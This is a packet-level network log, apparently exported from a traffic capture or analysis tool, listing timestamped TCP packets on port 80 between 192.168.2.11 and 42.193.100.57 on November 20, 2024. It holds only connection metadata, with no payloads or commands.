Nov 20, 2024 09:14:54.152205944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152218103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152229071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152237892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152241945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152259111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152278900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152292013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152303934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152316093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152324915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152353048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152365923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152498007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152509928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152520895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152532101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152549028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152559996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152578115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152589083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152599096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152610064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152621031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152631998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152673006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152689934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152693033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152704954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152719021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152733088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152744055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152744055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152751923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152756929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152765989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152776003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152787924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152798891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152801991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152810097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152825117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152826071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152837038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152848959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152849913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152862072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152864933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152873039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152884007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152888060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152900934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152911901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152918100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152930021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152932882 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152940989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.152951956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.152980089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153306007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153318882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153328896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153340101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153356075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153373003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153388023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153410912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153477907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153492928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153502941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153513908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153532028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153547049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153549910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153563023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153572083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153574944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153587103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153597116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153600931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153609991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153620958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153620958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153633118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153634071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153645992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153661013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153687954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153713942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153726101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153737068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153748035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153765917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153772116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153781891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153788090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153794050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.153816938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.153840065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227016926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227030039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227041960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227055073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227066040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227154970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227169037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227180004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227193117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227240086 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227332115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227344036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227372885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227374077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227400064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227411032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227530956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227543116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227554083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227566004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227569103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227579117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227590084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227602005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227607965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227632999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227649927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227664948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227678061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227689028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227700949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227713108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227714062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227725029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227737904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227745056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227758884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227777004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.227977991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.227989912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228001118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228010893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228018999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228034019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228065014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228161097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228173018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228187084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228199005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228205919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228209972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228223085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228225946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228252888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228267908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228307009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228326082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228338957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228352070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228363991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228374958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228379965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228387117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228399038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228405952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228410959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228421926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228426933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228434086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228445053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228446960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228462934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228471041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228487968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228497982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228511095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228511095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228524923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228535891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228560925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228568077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228579044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228590012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228595972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228604078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.228605986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.228637934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.405883074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.405896902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.405909061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.405945063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.405966997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406188011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406199932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406212091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406223059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406229019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406235933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406239986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406249046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406260967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406263113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406291008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406306028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406353951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406366110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406378031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406392097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406395912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406403065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406438112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406536102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406549931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406559944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406577110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406586885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406728983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406739950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406752110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406763077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406774044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406778097 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406796932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406830072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.406882048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.406924963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407041073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407053947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407064915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407077074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407084942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407088995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407125950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407139063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407196045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407207966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407231092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407234907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407243967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407255888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407255888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407269001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407279968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407288074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407321930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407357931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407368898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407403946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407574892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407588005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407598972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407608986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407617092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407622099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407655001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407681942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407737017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407748938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407761097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407772064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407776117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407788038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407799006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407814980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407819033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407854080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407869101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407886028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407896996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407908916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407919884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.407926083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407936096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.407963991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408066034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408078909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408088923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408106089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408107996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408139944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408154011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408230066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408241987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408255100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408274889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408288956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408296108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408421040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408432007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408437967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408442974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408448935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408454895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408459902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408466101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408509016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408535957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408551931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408564091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408576012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408587933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408606052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408606052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408617020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408634901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408755064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408780098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408792973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408796072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408813000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408822060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408824921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408830881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408838034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408849001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408854961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408860922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408870935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408874035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408885002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408898115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408902884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408927917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408936024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.408986092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.408998013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409008026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409020901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409022093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409032106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409043074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409069061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409332037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409343958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409356117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409375906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409389019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.409503937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409514904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409532070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.409542084 CET	80	49701	42.193.100.57	192.168.2.11
